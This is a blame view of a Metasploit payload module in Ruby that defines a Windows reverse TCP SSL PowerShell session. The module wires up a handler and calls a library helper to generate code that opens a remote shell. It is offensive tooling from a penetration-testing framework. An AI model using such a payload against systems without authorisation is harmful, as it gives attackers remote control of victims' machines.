Files
metasploit-gs/modules/payloads/singles/cmd/windows/powershell_reverse_tcp_ssl.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

45 lines
1.2 KiB
Ruby
Raw Normal View History

2021-10-29 15:10:03 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/powershell'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
include Rex::Powershell::Command
include Msf::Payload::Windows::Powershell
def initialize(info = {})
2021-10-29 16:25:56 +01:00
super(
merge_info(
info,
'Name' => 'Windows Interactive Powershell Session, Reverse TCP SSL',
'Description' => 'Interacts with a powershell session on an established SSL socket connection',
'Author' => [
2021-10-29 15:10:03 +01:00
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
2021-10-29 16:25:56 +01:00
'References' => [
2022-01-23 15:28:32 -05:00
['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']
2021-10-29 15:10:03 +01:00
],
2021-10-29 16:25:56 +01:00
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::PowerShell,
'RequiredCmd' => 'generic',
'Payload' => {
'Offsets' => {},
2021-10-29 15:10:03 +01:00
'Payload' => ''
}
2021-10-29 16:25:56 +01:00
)
)
2021-10-29 15:10:03 +01:00
end
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
2021-10-29 16:25:56 +01:00
generate_powershell_code('SSL')
2021-10-29 15:10:03 +01:00
end
end